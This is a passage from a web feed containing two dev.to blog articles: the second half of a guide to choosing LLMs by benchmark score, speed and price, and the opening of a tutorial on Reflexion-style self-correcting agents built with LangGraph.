&lt;p&gt;The three-way tie at the top is significant. Anthropic, Google, and OpenAI are operating at the same frontier capability level. No single provider has a clear intelligence advantage right now.&lt;/p&gt;

&lt;p&gt;Where this gets more interesting is at the sub-benchmark level. A model ranked 4th overall might outperform the top three on a specific task category like coding or long-context retrieval. The composite score is a useful filter; the sub-scores are where you make the actual decision.&lt;/p&gt;




&lt;h2&gt;
  
  
  4. Intelligence vs. Cost: Finding Your Operating Point
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdhkha9e2pa2zpqmnd9tx.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fdhkha9e2pa2zpqmnd9tx.png" alt=" " width="800" height="528"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The image above maps Intelligence Index score on the vertical axis against Cost to Run on the horizontal axis, displayed on a log scale in USD. The green-shaded area in the top-left is labeled "Most Attractive Quadrant," representing models that score high on intelligence while remaining affordable.&lt;/p&gt;

&lt;p&gt;This chart is the most actionable view on ArtificialAnalysis.ai. It answers a specific question: are you paying more than you need to for the intelligence level your task actually requires?&lt;/p&gt;

&lt;p&gt;How to read the four quadrants:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Top-left (green): High intelligence, low cost. Use here when you can.&lt;/li&gt;
&lt;li&gt;Top-right: High intelligence, high cost. Justified only when accuracy is mission-critical.&lt;/li&gt;
&lt;li&gt;Bottom-left: Low intelligence, low cost. Good for simple, high-volume, automated tasks.&lt;/li&gt;
&lt;li&gt;Bottom-right: Low intelligence, high cost. Avoid.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;What the data shows for specific models:&lt;/p&gt;

&lt;p&gt;Gemini 3.1 Pro Preview scores 57 (tied for first) at a moderate cost per token, placing it near the green zone among frontier models. DeepSeek V3.2 scores around 41 at very low cost, making a strong case for cost-sensitive deployments where you do not need frontier accuracy. Claude Opus 4.7 and GPT-5.4 score at the top but sit far to the right of the cost axis. Those models are best reserved for tasks where getting the answer right is non-negotiable.&lt;/p&gt;

&lt;p&gt;Practical decision rule: if a human reviews every AI output (legal drafting, medical notes, financial analysis), use a top-right model. If the task is automated and high-volume (content tagging, email routing, classification), use the green zone.&lt;/p&gt;

&lt;p&gt;Pros and cons of top models across all three dimensions:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Model&lt;/th&gt;
&lt;th&gt;Intelligence&lt;/th&gt;
&lt;th&gt;Speed (tok/s)&lt;/th&gt;
&lt;th&gt;Price ($/1M tok)&lt;/th&gt;
&lt;th&gt;Best for&lt;/th&gt;
&lt;th&gt;Avoid for&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;Claude Opus 4.7&lt;/td&gt;
&lt;td&gt;57&lt;/td&gt;
&lt;td&gt;32&lt;/td&gt;
&lt;td&gt;$10&lt;/td&gt;
&lt;td&gt;Complex reasoning, research&lt;/td&gt;
&lt;td&gt;High-volume automation&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Gemini 3.1 Pro Preview&lt;/td&gt;
&lt;td&gt;57&lt;/td&gt;
&lt;td&gt;185&lt;/td&gt;
&lt;td&gt;$1.7&lt;/td&gt;
&lt;td&gt;Balanced performance and speed&lt;/td&gt;
&lt;td&gt;Ultra-low budget&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;GPT-5.4 (xhigh)&lt;/td&gt;
&lt;td&gt;57&lt;/td&gt;
&lt;td&gt;43&lt;/td&gt;
&lt;td&gt;$4.5&lt;/td&gt;
&lt;td&gt;Coding, tool use&lt;/td&gt;
&lt;td&gt;Budget-constrained&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;DeepSeek V3.2&lt;/td&gt;
&lt;td&gt;41&lt;/td&gt;
&lt;td&gt;n/a&lt;/td&gt;
&lt;td&gt;$0.4&lt;/td&gt;
&lt;td&gt;Cost-sensitive deployments&lt;/td&gt;
&lt;td&gt;Frontier-accuracy tasks&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Gemini 3 Flash&lt;/td&gt;
&lt;td&gt;45&lt;/td&gt;
&lt;td&gt;160&lt;/td&gt;
&lt;td&gt;$0.3&lt;/td&gt;
&lt;td&gt;Speed at low cost&lt;/td&gt;
&lt;td&gt;Deep reasoning tasks&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Claude Haiku 4.5&lt;/td&gt;
&lt;td&gt;36&lt;/td&gt;
&lt;td&gt;n/a&lt;/td&gt;
&lt;td&gt;~$0.25&lt;/td&gt;
&lt;td&gt;Real-time lightweight tasks&lt;/td&gt;
&lt;td&gt;Scientific or academic work&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;




&lt;h2&gt;
  
  
  5. Speed: When It Changes the Product
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwdc5dz1k4dl604gd9iyd.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fwdc5dz1k4dl604gd9iyd.png" alt=" " width="702" height="614"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The speed chart shows output tokens per second across leading models. gpt-oss-120B leads at 217 tokens per second. Grok 4.20 follows at 185. Gemini 3 Flash sits at 160. Claude Opus 4.7 generates 32 tokens per second, which is adequate for interactive use but not for real-time streaming at scale.&lt;/p&gt;

&lt;p&gt;Speed matters in specific situations:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Real-time chat interfaces: users notice latency above roughly one second. At 32 tokens per second, a 500-token response takes about 15 seconds.&lt;/li&gt;
&lt;li&gt;Streaming data pipelines: workflows that feed model output into downstream systems need throughput, not accuracy alone.&lt;/li&gt;
&lt;li&gt;Voice AI: text-to-speech pipelines need token generation to outpace speech synthesis, typically requiring 100 or more tokens per second.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Example: A customer support chatbot handling 10,000 conversations per day with Claude Opus 4.7 (32 tok/s) vs Gemini 3.1 Pro Preview (185 tok/s) would see a 5.8x difference in throughput capacity. That means roughly 6x more compute infrastructure for the same load with the slower model.&lt;/p&gt;

&lt;p&gt;Counter-view worth noting: for batch processing tasks such as overnight report generation or document indexing, speed is nearly irrelevant. Choosing a faster, more expensive model for those use cases adds cost without adding value.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Warning: Speed benchmarks are measured under standard conditions. Real-world throughput varies with prompt length, provider infrastructure load, and response length. Test under your actual usage pattern before making infrastructure decisions.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  6. Price: What the Range Actually Means
&lt;/h2&gt;

&lt;blockquote&gt;
&lt;p&gt;Background: LLM APIs charge per token, roughly 0.75 words per token. Prices are quoted per one million tokens, which equals approximately 750,000 words or around 1,500 pages of text. Input tokens (your prompt) and output tokens (the model's response) are often priced separately.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;The price range across leading models spans two orders of magnitude:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Cheapest: Gemini 3 Flash, gpt-oss-120B, DeepSeek V3.2 at around $0.30 to $0.40 per million tokens.&lt;/li&gt;
&lt;li&gt;Most expensive: Claude Opus 4.7 (max) at $10 per million tokens, which is 33x more expensive than Gemini 3 Flash.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The price gap reflects model size, computational requirements, and market positioning. It is not arbitrary, but it is also not always justified for your use case.&lt;/p&gt;

&lt;p&gt;The question is not what is cheapest. It is: what is the minimum intelligence level your task actually requires?&lt;/p&gt;

&lt;p&gt;A framework for matching price to task:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;PhD-level domain expertise or multi-document synthesis: use top-tier models ($4 to $10 per million tokens)&lt;/li&gt;
&lt;li&gt;Code generation, complex analysis, long-form writing: use mid-tier models ($1 to $4 per million tokens)&lt;/li&gt;
&lt;li&gt;Summarization, classification, Q&amp;amp;A on known content: use budget-tier models ($0.30 to $1 per million tokens)&lt;/li&gt;
&lt;li&gt;Simple extraction, formatting, or routing: use the smallest model available&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Example: A SaaS company processing 50 million tokens per day would pay $500 per day with Gemini 3 Flash vs $500,000 per day with Claude Opus 4.7. For content tagging, that $499,500 daily difference is not justified. For rare, high-stakes legal document review, the cost per decision might be entirely reasonable.&lt;/p&gt;




&lt;h2&gt;
  
  
  7. How AI Intelligence Has Grown Over Time
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fiyr9kmkl1to36vk3z28n.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fiyr9kmkl1to36vk3z28n.png" alt=" " width="800" height="479"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This chart tracks Intelligence Index scores for 15 leading model creators from November 2022 through May 2026. Every line moves upward. In November 2022, the best models scored around 9 to 13. By April 2026, the frontier sits at 57. That is roughly a 5x improvement in 3.5 years.&lt;/p&gt;

&lt;p&gt;Key observations from the timeline:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;November 2022: OpenAI leads with scores around 9 to 13. All other providers cluster below 10.&lt;/li&gt;
&lt;li&gt;Late 2023: Acceleration begins. Google, Anthropic, and Meta start closing the gap.&lt;/li&gt;
&lt;li&gt;2024 to 2025: Chinese labs including Alibaba (Qwen), Xiaomi, and DeepSeek emerge as credible competitors. The frontier cluster expands to five or six companies within a few points of each other.&lt;/li&gt;
&lt;li&gt;Early 2026: Anthropic, Google, and OpenAI all reach 57 and are statistically tied.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The practical implication: the model you choose today will likely be mid-tier within 12 months. If you build your system in a way that couples it tightly to a specific model, you will pay a higher upgrade cost later. Where possible, build model-agnostic systems.&lt;/p&gt;

&lt;p&gt;Counter-view: rapid improvement also means your existing production system, even one built on a 2024 model, may still perform well for your specific task. Do not upgrade because newer models exist. Upgrade when your current model's limitations affect your outcomes in measurable ways.&lt;/p&gt;




&lt;h2&gt;
  
  
  8. Image Generation: A Separate Evaluation Entirely
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fh23g0tda69qn31qbl0cp.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fh23g0tda69qn31qbl0cp.png" alt=" " width="800" height="493"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The image above shows the Text-to-Image leaderboard, which uses ELO scores based on blind preference voting. GPT Image 1.5 leads at 1,273, followed by Google's Nano Banana 2 at 1,265 and Nano Banana Pro at 1,214.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Background: ELO scoring was originally designed for chess rankings. In this context, each model "wins" or "loses" based on human preference comparisons in blind side-by-side tests. A higher ELO means more wins against other models.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;For image generation tasks, the language intelligence rankings above are irrelevant. These are fundamentally different model architectures.&lt;/p&gt;

&lt;p&gt;Current top text-to-image rankings:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Rank&lt;/th&gt;
&lt;th&gt;Model&lt;/th&gt;
&lt;th&gt;ELO Score&lt;/th&gt;
&lt;th&gt;Provider&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;1&lt;/td&gt;
&lt;td&gt;GPT Image 1.5 (high)&lt;/td&gt;
&lt;td&gt;1,273&lt;/td&gt;
&lt;td&gt;OpenAI&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;2&lt;/td&gt;
&lt;td&gt;Nano Banana 2 (Gemini 3.1 Flash Image Preview)&lt;/td&gt;
&lt;td&gt;1,265&lt;/td&gt;
&lt;td&gt;Google&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;3&lt;/td&gt;
&lt;td&gt;Nano Banana Pro (Gemini 3 Pro Image)&lt;/td&gt;
&lt;td&gt;1,214&lt;/td&gt;
&lt;td&gt;Google&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;4&lt;/td&gt;
&lt;td&gt;FLUX.2 (max)&lt;/td&gt;
&lt;td&gt;1,205&lt;/td&gt;
&lt;td&gt;Black Forest Labs&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;5&lt;/td&gt;
&lt;td&gt;Seedream 4.0&lt;/td&gt;
&lt;td&gt;1,202&lt;/td&gt;
&lt;td&gt;ByteDance&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;6&lt;/td&gt;
&lt;td&gt;grok-imagine-image&lt;/td&gt;
&lt;td&gt;1,184&lt;/td&gt;
&lt;td&gt;xAI&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;p&gt;Claude Opus 4.7 does not appear on this leaderboard at all. Strong language intelligence does not transfer to image quality.&lt;/p&gt;

&lt;p&gt;Example: A marketing team using AI for visual content should look at GPT Image 1.5 or Google's Gemini image models, not at the text intelligence rankings.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Warning: ELO scores reflect general aesthetic preference in blind tests. For domain-specific image tasks such as product photography, medical imaging, or architectural visualization, run your own evaluation. General ELO rankings do not reliably predict domain-specific performance.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  9. Intelligence Breakdown: Where the Real Selection Happens
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4igv2x0ncfl8llg72010.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F4igv2x0ncfl8llg72010.png" alt=" " width="800" height="915"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;This panel shows per-benchmark performance across all tracked models. The six sub-charts cover GDPval-AA, Terminal-Bench Hard, tau-squared Bench Telecom, AA-LCR, AA-Omniscience Accuracy, and AA-Omniscience Non-Hallucination Rate. Each chart shows a different ranking order, which confirms that no single model leads across every dimension.&lt;/p&gt;

&lt;p&gt;The composite intelligence score hides important variation. Here is what each sub-benchmark tells you, and when to weight it:&lt;/p&gt;

&lt;div class="table-wrapper-paragraph"&gt;&lt;table&gt;
&lt;thead&gt;
&lt;tr&gt;
&lt;th&gt;Sub-Benchmark&lt;/th&gt;
&lt;th&gt;What It Tests&lt;/th&gt;
&lt;th&gt;Weight This For&lt;/th&gt;
&lt;/tr&gt;
&lt;/thead&gt;
&lt;tbody&gt;
&lt;tr&gt;
&lt;td&gt;GDPval-AA&lt;/td&gt;
&lt;td&gt;General deep reasoning (top score: 63%)&lt;/td&gt;
&lt;td&gt;Research, analysis&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Terminal-Bench Hard&lt;/td&gt;
&lt;td&gt;Complex system and terminal tasks (top: 58%)&lt;/td&gt;
&lt;td&gt;DevOps, SRE tooling&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;Tau-Bench Telecom&lt;/td&gt;
&lt;td&gt;Telecom domain knowledge (top: 98%)&lt;/td&gt;
&lt;td&gt;Telecom industry AI&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;AA-LCR&lt;/td&gt;
&lt;td&gt;Long-context retrieval accuracy (top: 74%)&lt;/td&gt;
&lt;td&gt;Document Q&amp;amp;A, RAG systems&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;AA-Omniscience Accuracy&lt;/td&gt;
&lt;td&gt;Breadth of factual knowledge (top: 55%)&lt;/td&gt;
&lt;td&gt;General knowledge bases&lt;/td&gt;
&lt;/tr&gt;
&lt;tr&gt;
&lt;td&gt;AA-Omniscience Non-Hallucination&lt;/td&gt;
&lt;td&gt;Rate of refusing to fabricate (top: 83%)&lt;/td&gt;
&lt;td&gt;Fact-sensitive customer-facing tasks&lt;/td&gt;
&lt;/tr&gt;
&lt;/tbody&gt;
&lt;/table&gt;&lt;/div&gt;

&lt;blockquote&gt;
&lt;p&gt;Background: RAG stands for Retrieval-Augmented Generation. It is a technique where the model retrieves relevant documents before generating a response, used commonly in enterprise search and document Q&amp;amp;A products.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Example: A healthcare company building a medical information chatbot should weight the Non-Hallucination Rate above every other metric. A model that generates false medical information with confidence is worse than no model at all. The AA-Omniscience Non-Hallucination chart, where Grok 4.20 0309 v2 scores 83%, is directly relevant for that selection.&lt;/p&gt;

&lt;p&gt;Counter-view: high non-hallucination rates sometimes correlate with more frequent "I don't know" responses. For internal R&amp;amp;D tools where missing information is a bigger problem than fabricating it, a slightly lower non-hallucination score with higher overall accuracy may be the right trade.&lt;/p&gt;




&lt;h2&gt;
  
  
  10. A Decision Framework for Picking Your Model
&lt;/h2&gt;

&lt;p&gt;Bring together everything above into a repeatable process:&lt;/p&gt;

&lt;p&gt;Step 1: Define your task type.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Text generation or reasoning: go to Step 2.&lt;/li&gt;
&lt;li&gt;Image or video generation: use the Image Leaderboard. Start with GPT Image 1.5 or Gemini image models.&lt;/li&gt;
&lt;li&gt;Code generation: prioritize LiveCodeBench scores over composite intelligence scores.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Step 2: Identify your primary constraint.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Accuracy is critical (medical, legal, research): look at models scoring 50 or above.&lt;/li&gt;
&lt;li&gt;Cost is the bottleneck (high-volume automated tasks): look at DeepSeek V3.2, Gemini 3 Flash, and similar budget-quadrant models.&lt;/li&gt;
&lt;li&gt;Speed is critical (real-time applications, voice AI): look at the Speed leaderboard. gpt-oss-120B and Grok 4.20 lead here.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Step 3: Use the Intelligence vs. Cost scatter plot.&lt;br&gt;
Find models in or near the Most Attractive Quadrant that meet your minimum intelligence threshold.&lt;/p&gt;

&lt;p&gt;Step 4: Check the sub-benchmarks relevant to your domain.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Long documents: AA-LCR&lt;/li&gt;
&lt;li&gt;Factual accuracy in customer-facing contexts: Non-Hallucination Rate&lt;/li&gt;
&lt;li&gt;Scientific or technical depth: GDPval-AA and GPQA&lt;/li&gt;
&lt;li&gt;Coding: LiveCodeBench&lt;/li&gt;
&lt;li&gt;Math or multi-step reasoning: AIME and MuSR&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Step 5: Run your own evaluation.&lt;br&gt;
Test on 50 to 100 examples from your actual use case before committing. Benchmark scores are population-level averages. Your specific prompts, domain vocabulary, and output format requirements will produce results that differ from benchmark rankings.&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;Warning: Treat benchmarks as a shortlist filter, not a final answer. The gap between benchmark rank and performance on your specific task can be substantial.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  The Practical Summary
&lt;/h2&gt;

&lt;p&gt;The data from ArtificialAnalysis.ai makes several things clear.&lt;/p&gt;

&lt;p&gt;The frontier is genuinely competitive. Claude Opus 4.7, Gemini 3.1 Pro Preview, and GPT-5.4 are all tied at 57. You are not leaving significant intelligence on the table by choosing any of them. Your decision should come down to cost, speed, and the specific sub-benchmarks that matter for your task.&lt;/p&gt;

&lt;p&gt;The price range is enormous. Gemini 3 Flash costs $0.30 per million tokens. Claude Opus 4.7 costs $10. For most automated tasks, the cheaper model is the correct choice.&lt;/p&gt;

&lt;p&gt;Image generation is a separate decision tree entirely. Do not use text intelligence rankings to choose an image model.&lt;/p&gt;

&lt;p&gt;Model capability is improving fast. The best model today may be mid-tier in 12 months. Build systems that are easy to upgrade.&lt;/p&gt;

&lt;p&gt;Benchmarks are filters, not answers. Use them to narrow your options, then test on your actual task before deciding.&lt;/p&gt;




&lt;p&gt;Data sourced from ArtificialAnalysis.ai, an independent AI evaluation platform. Rankings reflect data as of April 2026.&lt;/p&gt;

</description>
      <category>ai</category>
      <category>benchmarks</category>
      <category>modelselection</category>
    </item>
    <item>
      <title>From Simple LLMs to Reliable AI Systems: Building Reflexion, Based Agents with LangGraph</title>
      <dc:creator>Shafiq Ur Rehman</dc:creator>
      <pubDate>Sun, 19 Apr 2026 12:44:55 +0000</pubDate>
      <link>https://dev.to/im-shafiqurehman/from-simple-llms-to-reliable-ai-systems-building-reflexion-based-agents-with-langgraph-1a5n</link>
      <guid>https://dev.to/im-shafiqurehman/from-simple-llms-to-reliable-ai-systems-building-reflexion-based-agents-with-langgraph-1a5n</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;"An LLM that cannot reflect on its mistakes is not an agent, it is an autocomplete on steroids."&lt;br&gt;
— Common wisdom in modern AI engineering&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Introduction: Why "Just Prompting" Is No Longer Enough&lt;/p&gt;

&lt;p&gt;You have seen this happen. You give an LLM a hard task. It writes a report. It fixes code. It plans something step by step. The answer sounds right. But small things are wrong. Sometimes big things are wrong.&lt;/p&gt;

&lt;p&gt;The model does not stop to check itself. It does not ask if it made a mistake. It does not try again in a better way.&lt;/p&gt;

&lt;p&gt;This is the gap between a simple LLM call and a system you can trust.&lt;/p&gt;

&lt;p&gt;This article shows how to close that gap. You will learn two ideas: Reflexion, where the AI checks its own work and tries again, and LangGraph, a tool to build workflows with memory and clear steps.&lt;/p&gt;




&lt;h2&gt;
  
  
  Section 1: The Reliability Problem with Bare LLMs
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhdyiocrr9mb0f5uep3wc.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fhdyiocrr9mb0f5uep3wc.png" alt=" " width="800" height="245"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;Large language models are extraordinarily powerful pattern completers. Given a well-formed prompt, they can write poetry, generate code, summarize documents, and reason through logic puzzles. But they have a structural weakness that every practitioner eventually hits:&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;They do not know when they are wrong.&lt;/strong&gt;&lt;/p&gt;

&lt;h3&gt;
  
  
  The Core Failure Modes
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Hallucination&lt;/strong&gt; &lt;em&gt;(making up information that sounds plausible but is factually incorrect)&lt;/em&gt;: An LLM asked to cite sources may invent URLs, author names, or statistics that feel authoritative but do not exist.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Premature convergence&lt;/strong&gt;: The model "settles" on its first reasonable-sounding answer without exploring whether a better one exists. This is especially damaging in multi-step reasoning tasks.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Context blindness at scale&lt;/strong&gt;: As tasks grow spanning multiple documents, steps, or tool calls, the model loses track of earlier constraints, leading to contradictions deep in a workflow.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Silent failure&lt;/strong&gt;: Unlike a software crash, a wrong LLM output looks identical to a correct one. There is no error message. The system "succeeds" by returning something.&lt;/li&gt;
&lt;/ul&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Counter-view:&lt;/strong&gt; Some researchers argue that sufficiently large models with good prompting (chain-of-thought, self-consistency) can sidestep many reliability issues. This is partially true for isolated reasoning tasks, but it breaks down when tasks are long-horizon, multi-step, or require external tool use, where real-world feedback is necessary.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  Real-World Case: The Air Canada Chatbot Incident (2024)
&lt;/h3&gt;

&lt;p&gt;Air Canada deployed an LLM-powered chatbot that confidently told a customer they could apply for a bereavement fare &lt;em&gt;after&lt;/em&gt; their trip and receive a refund retroactively, which was false. The chatbot hallucinated a policy that did not exist. Air Canada was held legally liable. The system had no feedback loop, no validation layer, and no ability to catch its own mistakes.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;This is not a prompt engineering failure. It is an architectural failure.&lt;/strong&gt;&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;📖 &lt;strong&gt;Further Reading:&lt;/strong&gt; &lt;em&gt;[Search: "Reliability of LLMs in production systems 2024"]&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;




&lt;blockquote&gt;
&lt;h3&gt;
  
  
  📌 Background: What Is a "Forward Pass"?
&lt;/h3&gt;

&lt;p&gt;When you send a prompt to an LLM, it runs a &lt;strong&gt;single forward pass&lt;/strong&gt;, meaning it reads your input from left to right through billions of parameters and generates tokens one by one until it stops. There is no internal loop, no checking, no going back. It is a one-way function. This is why LLMs cannot self-correct without external scaffolding.&lt;/p&gt;
&lt;/blockquote&gt;




&lt;h2&gt;
  
  
  Section 2: Enter Reflexion: Teaching AI to Think Twice
&lt;/h2&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F91jnkk7zj80vv28br6oy.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2F91jnkk7zj80vv28br6oy.png" alt=" " width="800" height="290"&gt;&lt;/a&gt;&lt;br&gt;
&lt;strong&gt;Reflexion&lt;/strong&gt; is a framework introduced in a 2023 research paper by Shinn et al. at Northeastern University. The core idea is elegant:&lt;/p&gt;

&lt;blockquote&gt;
&lt;p&gt;&lt;em&gt;Instead of training a model to be better (which requires compute and data), give it the ability to reflect on its own failures in natural language, store that reflection as memory, and try again.&lt;/em&gt;&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;This is significant because it requires &lt;strong&gt;no weight updates&lt;/strong&gt;, no fine-tuning, no retraining. It is a pure inference-time technique that turns a static model into a self-improving agent.&lt;/p&gt;
&lt;h3&gt;
  
  
  The Three Components of Reflexion
&lt;/h3&gt;

&lt;ol&gt;
&lt;li&gt;&lt;p&gt;&lt;strong&gt;Actor&lt;/strong&gt; The LLM that actually &lt;em&gt;does&lt;/em&gt; the task. It takes the current task description + any memory from past attempts and generates an output (text, code, a plan, a tool call, etc.).&lt;/p&gt;&lt;/li&gt;
&lt;li&gt;
&lt;p&gt;&lt;strong&gt;Evaluator&lt;/strong&gt; &lt;em&gt;(also called the "Critic")&lt;/em&gt;  A scoring function that judges the Actor's output. This can be:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Another LLM call that critiques the output&lt;/li&gt;
&lt;li&gt;A deterministic function (e.g., unit test pass/fail, a factuality checker, a code linter)&lt;/li&gt;
&lt;li&gt;A human-in-the-loop signal&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
